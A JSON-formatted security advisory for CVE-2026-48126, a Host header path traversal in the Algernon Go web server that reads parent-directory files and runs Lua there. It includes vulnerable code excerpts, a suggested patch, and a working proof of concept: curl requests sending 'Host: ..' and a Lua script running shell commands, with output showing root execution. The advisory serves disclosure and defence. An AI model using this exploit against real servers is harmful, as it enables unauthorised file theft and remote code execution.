{"id":"CVE-2026-48126","title":"Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir","summary":"Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir","severity":"high","cvss":8.2,"cwe":["CWE-22","CWE-23","CWE-644"],"vendor":"xyproto","product":"github.com/xyproto/algernon","ecosystem":"go","affected":["github.com/xyproto/algernon <= 1.17.7"],"patched":["github.com/xyproto/algernon 1.17.8"],"published":"2026-06-23","updated":"2026-06-23","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-jc3j-x6pg-4hmv","references":[{"url":"https://github.com/xyproto/algernon/security/advisories/GHSA-jc3j-x6pg-4hmv"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48126"},{"url":"https://github.com/advisories/GHSA-jc3j-x6pg-4hmv"}],"tags":["ghsa","go"],"epss":0.00335,"epssPercentile":0.27006,"ingestedAt":"2026-06-26T16:43:14.612Z","slug":"CVE-2026-48126","body":"## Overview\n\n### Summary\n\nWhen algernon is started with `--domain` (or `--letsencrypt`, which silently turns on `--domain` at `engine/flags.go:372`), the request handler resolves the served directory by joining the configured `--dir` with the value of the client-supplied `Host` header. The join is performed by `filepath.Join` with no validation, so a `Host: ..` header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any `.lua` file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected.\n\n### Details\n\n`engine/handlers.go` (function `RegisterHandlers`, around line 510):\n\n```go\nallRequests := func(w http.ResponseWriter, req *http.Request) {\n    ...\n    servedir := servedir\n    if addDomain {\n        servedir = filepath.Join(servedir, utils.GetDomain(req))   // <— line 531\n    }\n    ...\n    filename := utils.URL2filename(servedir, urlpath)\n```\n\n`utils/web.go` (`GetDomain`):\n\n```go\nfunc GetDomain(req *http.Request) string {\n    host, _, err := net.SplitHostPort(req.Host)\n    if err != nil {\n        return req.Host          // <— Host header returned verbatim\n    }\n    return host\n}\n```\n\n`utils/files.go` (`URL2filename`) only sanitises the URL path — it never inspects `dirname`:\n\n```go\nfunc URL2filename(dirname, urlpath string) string {\n    if strings.Contains(urlpath, \"..\") {\n        return dirname + Pathsep         // dirname is trusted here\n    }\n    ...\n}\n```\n\n`engine/flags.go` (auto-enable in CertMagic / Let's Encrypt mode):\n\n```go\nif ac.useCertMagic {\n    ...\n    ac.serverAddDomain = true   // <— line 372\n}\n```\n\nPutting it together:\n\n1. The client sends `Host: ..`. Go's HTTP server accepts the value because `.` is in the URI host whitelist and there are no other characters to validate; `req.Host` is `..`.\n2. `GetDomain` returns `..` (no port, `net.SplitHostPort` fails — fallback path).\n3. `filepath.Join(\"/srv/algernon\", \"..\")` cleans to `/srv`.\n4. `URL2filename(\"/srv\", \"/SECRET.txt\")` returns `/srv/SECRET.txt`, which the handler opens with `FilePage`.\n5. For directory targets, `DirPage` lists the parent — sending `/` after `Host: ..` produces an HTML index of the parent of the docroot.\n6. If a file with a recognised algernon extension (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`, `.md`, ...) is in the parent, the matching renderer runs server-side. `.lua` triggers full Lua execution, including `run3(...)` which calls `exec.Command(\"sh\", \"-c\", command)` (see `lua/run3/run3.go:23`).\n\nMulti-level traversal is blocked at the protocol layer because the Go HTTP parser rejects `/` in the `Host:` value, but a single `..` is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in `parent(serverDir)`. `--letsencrypt` is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing.\n\nThis bug is distinct from the previously-fixed `handler.lua` parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the *handler.lua discovery loop* and walked above `rootdir`; this one stays inside the normal `FilePage` path and rewrites `rootdir` itself through `filepath.Join(servedir, req.Host)`. It is also distinct from the upload `savein()` issue (GHSA-2j2c-pv62-mmcp).\n\n### PoC\n\nBuild the affected version:\n\n```\ngit clone https://github.com/xyproto/algernon\ncd algernon\ngo build -o /tmp/algernon .\n```\n\nReproduce manually:\n\n```\nWORK=$(mktemp -d)\nmkdir -p $WORK/site\necho '<h1>public</h1>' > $WORK/site/index.html\necho 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt\ncat > $WORK/pwn.lua <<'LUA'\nprint(\"=== RCE ===\")\nlocal out, err, code = run3(\"id; uname -a\")\nfor _,v in ipairs(out) do print(\"  \"..v) end\nLUA\n\n/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit &\nsleep 1\n\n# 1. Arbitrary file read\ncurl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt\n# -> TOP-SECRET FROM PARENT DIR\n\n# 2. Parent directory listing\ncurl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href=\"[^\"]+\"' | head\n# -> href=\"/SECRET.txt\", href=\"/pwn.lua\", href=\"/site/\", ...\n\n# 3. Server-side Lua execution (RCE)\ncurl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua\n# -> === RCE ===\n#      uid=0(root) gid=0(root) groups=0(root)\n#      Linux ...\n```\n\nRecorded output from a real run:\n\n```\n[2] arbitrary file read via Host: ..\n    TOP-SECRET FROM PARENT DIR\n\n[3] directory listing of parent via Host: ..\n    bytes=1278, links=1\n    sample:\n      href=\"/alg.log\"\n      href=\"/site/\"\n      href=\"/SECRET.txt\"\n\n[4] Lua RCE via Host: .. when .lua exists in parent\n    === RCE ===\n      uid=0(root) gid=0(root) groups=0(root)\n      Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux\n    EXIT=0\n```\n\nSteps 2 and 3 reproduce with default flags (`--domain` alone, or `--letsencrypt` in production). Step 4 additionally requires a `.lua` file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive.\n\n### Impact\n\n- An unauthenticated remote attacker who can send a single HTTP request with a `Host: ..` header can read arbitrary files in `parent(--dir)` and enumerate that directory.\n- When `--letsencrypt` is used (the recommended way to obtain HTTPS), `--domain` is enabled silently, so any production multi-tenant deployment is exposed without the operator opting in.\n- The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical `--prod` invocation documented in `engine/config.go:208` (`serverDirOrFilename = \"/srv/algernon\"`), the parent is `/srv`; in multi-domain setups the parent often holds sibling site directories and shared `.lua` libraries.\n\n### Suggested fix\n\nReject Host header values that contain `..`, `/`, `\\`, or that resolve outside the configured `serverDirOrFilename`. The simplest patch:\n\n```go\n// engine/handlers.go, where addDomain is consumed\nif addDomain {\n    domain := utils.GetDomain(req)\n    if domain == \"\" || strings.ContainsAny(domain, \"/\\\\\") || strings.Contains(domain, \"..\") {\n        w.WriteHeader(http.StatusBadRequest)\n        return\n    }\n    servedir = filepath.Join(servedir, domain)\n}\n```\n\nA stronger fix when CertMagic is active is to constrain the lookup to the `certMagicDomains` allow-list that `flags.go` already builds.\n\n## Affected packages\n\n- `github.com/xyproto/algernon <= 1.17.7`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/xyproto/algernon 1.17.8`","depth":"twilight","depthScore":45,"depthScoreParts":{"impact":45.1,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}